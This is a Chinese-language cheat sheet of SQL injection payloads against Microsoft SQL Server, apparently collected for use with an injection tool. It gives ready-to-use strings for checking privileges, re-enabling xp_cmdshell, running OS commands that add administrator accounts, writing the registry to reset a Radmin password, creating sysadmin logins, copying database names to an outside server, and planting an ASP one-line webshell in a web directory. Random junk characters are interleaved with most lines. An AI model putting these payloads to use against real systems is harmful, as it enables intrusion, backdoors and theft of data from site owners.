阿D常用的一些注入命令
1 T0 l! y/ t5 \: ~# i: F* w//看看是什么权限的6 g2 R- I: y \ G% b
and 1=(Select IS_MEMBER('db_owner'))% \" b4 T# F* B# W* i! @; @/ |
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--% l1 y: i' \" D" C7 o3 Y
4 n/ c' q5 m% c5 O7 S- d7 M6 s$ q7 L//检测是否有读取某数据库的权限
: p7 J# `/ T% H kand 1= (Select HAS_DBACCESS('master'))
4 H& E9 \; D2 f6 UAnd char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
0 x) A+ X" d4 [' G# b! z3 a; `5 m: S6 o- L
8 @" t: I! j- r% P6 I
数字类型. O ~7 u( i+ c: |0 Y4 i: F
and char(124)%2Buser%2Bchar(124)=0
% S- s, v: J# O) a. ~8 ]5 ]- s9 |2 @ }
字符类型6 i. R" J! B5 A" C8 s& }% l5 E
' and char(124)%2Buser%2Bchar(124)=0 and ''='
3 W: o( I, h5 P; {) U( _: k/ \; J
& \; [# e+ G9 l# L/ O8 n搜索类型( g8 Q$ W% j1 |; v2 k# w
' and char(124)%2Buser%2Bchar(124)=0 and '%'='" a$ D6 O7 Z" I& F: Z) B
8 x( \* s" q' n) i: ] z5 j# _$ S爆用户名. m. V1 k! q6 s& f& N6 w: j
and user>0
. K, m5 ~' G0 p4 J4 |/ \' c0 P' and user>0 and ''='7 V$ b1 n7 P& Q6 D e! I0 h/ G
- O' K! w) m3 A检测是否为SA权限9 K: c/ I* K a3 `" V- r' ^( ?
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
+ d5 F8 S o+ v {; F, YAnd char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --: X: N/ t( M k1 D
. U+ Q" U( ?0 s: Q" S1 Y$ Q检测是不是MSSQL数据库
4 D4 H. [+ L+ Hand exists (select * from sysobjects);-- 9 d" N6 a+ x3 y5 ` w6 {6 U1 `
1 S3 S+ j% V5 }检测是否支持多行6 G; _- l4 p% p/ j. _# C* y! w
;declare @d int;--
. V/ q: Z% V1 T: c+ o
^* z% c; O& I恢复 xp_cmdshell7 `3 ~6 Z$ s0 J2 m- j* s
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
" n. D7 }( T+ C3 y D) t
( w( y7 N! t8 ^0 c/ I
5 C4 {! k5 C. U2 d2 g8 @select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
* J- h( L" q' g5 c+ h( p7 ]: i. }2 i+ o1 [& E" `& J7 t$ A/ D
//-----------------------( I+ n# p& o5 W
// 执行命令
$ W( U8 B' V: b* W6 R$ c//-----------------------
3 j9 K. w" V0 k; _3 @1 @. `首先开启沙盘模式:. S/ `; h9 E1 E0 P" V# S
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
Y3 d, c1 s4 l( K2 E) \) o/ w
- B) T. P* a; h' j然后利用jet.oledb执行系统命令4 S; J- a ^, D9 M0 L1 e; p' r) @( H
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')1 ]7 h- |' { U% O% k) Y& y5 x
, `2 i: c# `, ^3 z) H( N* w
执行命令
# X: T. y. i& Y( W/ \;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--* y. {: q' Y3 h7 s4 F4 e
' L/ t8 @2 V \EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'" {0 |2 O, U' _' q0 `& n7 U; ^
7 ?4 p3 ? Y' }1 s- V判断xp_cmdshell扩展存储过程是否存在:& { o" s8 F" R$ j
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
$ i$ ~$ c& L1 t
h1 Z* z0 g0 I$ l写注册表
9 y+ f. K7 U% Z, i+ texec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
0 k5 i1 F- `2 C0 Q( e5 v) _* ~3 l5 z) G! L$ Q
REG_SZ
1 O# a* H& U I+ a" C* l% ?: r9 U9 Z( ^( T' `; q: G
读注册表, U8 \9 v4 K2 ]
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'# a3 {. i5 z7 ?& i/ b
' j1 ]3 N$ M X- l, u
读取目录内容3 X3 u, T9 H/ O- o
exec master..xp_dirtree 'c:\winnt\system32\',1,1
. z9 p0 r/ g: [* q
; c. V1 f. G9 ?! L! ^; {8 r5 d; M. J/ c
数据库备份
" n/ s1 P0 E. u. x- ] Qbackup database pubs to disk = 'c:\123.bak'$ g$ s5 R/ s$ R Z# ^/ M
4 z$ v( b! h+ k, U( F//爆出长度
) H- c6 I3 r2 U+ x) aAnd (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
9 q. ^# [! @( }4 Y' w1 ~1 b" {5 W4 n7 ~% U; C% i: ]5 Q1 D
" f; U% N! G# r9 _! ~
( |# |5 M1 F. ?; `1 E) i+ W' E更改sa口令方法:用sql综合利用工具连接后,执行命令:1 l1 E, V% m* `: T, d
exec sp_password NULL,'新密码','sa'
$ N: ]8 m) h7 V* Y1 a& _
8 j j9 P1 A, m% C; P7 b添加和删除一个SA权限的用户test:
! K* J3 U/ A% B$ J+ k0 W) }" e6 ^exec master.dbo.sp_addlogin test,ptlove
* {- W! T) L$ B& [exec master.dbo.sp_addsrvrolemember test,sysadmin& X7 N9 w. w# `2 x7 t
6 `& W6 r j: u/ T7 \ w5 k删除扩展存储过过程xp_cmdshell的语句:
. v% o9 T7 K6 ]8 n, texec sp_dropextendedproc 'xp_cmdshell'# \: d P' c! J3 L6 E
8 [6 F; ^% n( S2 {, v" t% M/ U添加扩展存储过过程
& \7 v9 r: Z+ P5 ^4 a8 ZEXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
$ w0 m3 `' t- zGRANT exec On xp_proxiedadata TO public
9 O: `% j7 m% }/ k
% U- d- ^3 }: `
' A- r* ? k; q2 O2 u停掉或激活某个服务。
* Q5 l& E ?2 i, \4 f3 Y1 Q d* E# _! H+ I+ Y7 Z
exec master..xp_servicecontrol 'stop','schedule'% q6 ?9 k* a- h2 v6 ]' Z T$ C
exec master..xp_servicecontrol 'start','schedule': H3 ]( Z/ ?/ D! p
# r9 w4 f& |* _, }3 mdbo.xp_subdirs
* k( q6 y2 Z3 U" D4 P* N$ u* k' W0 _
只列某个目录下的子目录。
. { U8 a# e& ~' D. Exp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
/ O8 B- T1 M, q5 ]# C3 v( i/ c0 F& l: Z
dbo.xp_makecab. Z2 j/ @6 [" ?% @
) U# j, A3 i& W' F/ q$ x' v' K
将目标多个档案压缩到某个目标档案之内。
' A; f5 }; { ]# |* ?$ P, x所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。; b: Q" t& @0 F& ~5 n$ P
! N2 X( }0 u) R% E6 G% Idbo.xp_makecab$ v3 P- F& U5 ~
'c:\test.cab','mszip',1,
, b: z" s T4 ] m'C:\Inetpub\wwwroot\SQLInject\login.asp',
, D P7 R2 A, w# b5 p K/ r1 k1 m'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
$ |5 u% r2 U- c5 x& _; Q' Y$ O0 `9 V" [- y
xp_terminate_process. y' X9 V( A8 S( n3 C4 y. H$ f) l1 @
! N5 g3 P6 ?, j
停掉某个执行中的程序,但赋予的参数是 Process ID。
! z2 I1 y W$ ]& X; \5 d8 l利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID/ g# C3 O9 b7 ^6 v
7 |0 |5 s' w( u6 H% Wxp_terminate_process 2484' F* G- `& n- B
. Q& f1 B1 E o; W7 J3 {
xp_unpackcab% |) o1 h8 c, |# m; R( ?/ ~" \
7 Z x5 S# C p. l
解开压缩档。4 o- i F. Z' I. S2 I
6 A! M& Z- b6 E: n7 J' q+ y# W
xp_unpackcab 'c:\test.cab','c:\temp',1
) i4 {2 F( \$ h0 c9 r
( R# X( h/ M# u: O
' s, T8 W, W1 ]; L6 n$ x某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为12345 p. N* u6 h0 q! w9 N- I2 ?
) R; F! b% F& f$ F/ B) B% Mcreate database lcx;
! [% Z% _1 A- `6 b! DCreate TABLE ku(name nvarchar(256) null);7 D) D: y7 m. @+ `5 {! ]8 T
Create TABLE biao(id int NULL,name nvarchar(256) null);* e' o, D9 w* R! o9 e' i
b( z7 }0 p) W4 P
//得到数据库名
9 Z, E; |" c/ U" E0 jinsert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases3 M; t9 [6 A) H* C/ i+ R5 W( p5 v' i
9 J$ x* [/ I/ z) y2 Q3 V1 ^! ~" D! p. k" K3 U7 e
//在Master中创建表,看看权限怎样0 ~1 p5 i( I( a. k
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
5 C3 g/ }% \4 V% ?. }# _
; C/ Y, ^5 P( Z用 sp_makewebtask直接在web目录里写入一句话马:# ?/ d$ L' ]6 @1 i0 Z$ }& r$ c
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--: t! d) n1 X5 h4 }; H
) j+ B v( w1 h1 p/ l+ T//更新表内容
, v0 a T, |7 Q, J* Q* ]Update films SET kind = 'Dramatic' Where id = 123. g( h0 k# B* V, G0 ~: A
) t9 ~, l& E, M: F, W8 j//删除内容
9 v d+ w- o7 a: _% ~delete from table_name where Stockid = 3 |